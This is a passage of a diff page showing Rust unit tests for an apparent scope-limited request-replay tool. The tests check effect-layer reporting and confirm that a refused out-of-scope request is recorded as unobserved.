r.push(EffectObservation::not_seen(EffectLayer::External, "no delivery channel"));
|
||||||
|
assert_eq!(r.deepest_observed(), Some(EffectLayer::Application));
|
||||||
|
let empty = EffectReport::default();
|
||||||
|
assert_eq!(empty.deepest_observed(), None);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[tokio::test]
|
||||||
|
async fn a_refused_request_reports_every_layer_as_unobserved() {
|
||||||
|
let mut p = ScopePolicy::for_target("https://app.example.com/");
|
||||||
|
p.soft.max_requests_per_minute = 0;
|
||||||
|
let engine = ReplayEngine::new(p);
|
||||||
|
let (report, exchange) = engine.observe_effects(&ReqSpec::get("https://other.test/x"), None, None).await;
|
||||||
|
assert!(exchange.is_none());
|
||||||
|
for l in [EffectLayer::Request, EffectLayer::Application, EffectLayer::External] {
|
||||||
|
assert!(!report.observed(l), "{l:?} must not be reported as observed when nothing was sent");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
Reference in new issue
Block a user